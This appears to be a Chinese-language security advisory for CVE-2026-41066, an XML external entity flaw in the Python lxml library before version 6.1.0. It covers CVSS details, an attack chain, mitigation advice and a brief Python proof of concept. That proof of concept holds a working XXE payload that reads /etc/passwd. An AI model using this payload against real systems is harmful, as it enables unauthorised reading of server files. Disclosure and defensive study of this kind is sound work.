IPBUF安全漏洞报告
English
CVE-2026-41066 CVSS 7.5 高危

CVE-2026-41066 lxml XML外部实体注入漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41066
漏洞类型
XXE (XML外部实体注入)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
lxml (Python库)

相关标签

XXEXML注入lxmlPython信息泄露文件读取

漏洞概述

lxml是Python中用于处理XML和HTML的库。在6.1.0版本之前,其解析器在默认配置下启用了外部实体解析(resolve_entities=True)。这允许攻击者通过特制的XML输入触发XML外部实体(XXE)漏洞,从而读取服务器上的本地文件。该漏洞已在6.1.0版本中修复。

技术细节

该漏洞源于lxml解析器对XML外部实体的默认处理机制。当解析器处理包含恶意DTD(文档类型定义)的XML数据时,若未禁用外部实体解析,攻击者可以定义一个指向本地敏感文件(如/etc/passwd)的实体。解析器在解析过程中会自动解析该实体,将文件内容读取并嵌入到XML文档的输出中。由于CVSS向量为AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N,该漏洞无需认证即可通过网络利用,主要导致机密性泄露(文件读取),但不会直接影响系统的完整性和可用性。

攻击链分析

STEP 1
1. 构造恶意Payload
攻击者创建包含恶意DTD定义的XML数据,定义一个外部实体指向目标服务器上的敏感文件路径。
STEP 2
2. 发送请求
攻击者将包含恶意Payload的请求发送给使用受影响lxml版本的应用程序接口。
STEP 3
3. 实体解析
应用程序使用默认配置的lxml解析器处理XML,触发外部实体解析,读取本地文件内容。
STEP 4
4. 数据回显
读取到的文件内容被包含在解析结果或响应中返回给攻击者,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import lxml.etree # Malicious XML payload demonstrating XXE to read /etc/passwd xml_data = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> """ try: # Parsing with default settings (resolve_entities=True) triggers the vulnerability root = lxml.etree.fromstring(xml_data) print("[+] Vulnerability Triggered!") print("[+] File Content:") print(root.text) except Exception as e: print(f"[-] Error: {e}")

影响范围

lxml < 6.1.0

防御指南

临时缓解措施
对于无法立即升级的环境,建议审查所有调用lxml解析器的代码,确保在初始化解析器时将resolve_entities参数设置为False或'internal',从而阻断外部实体的解析路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表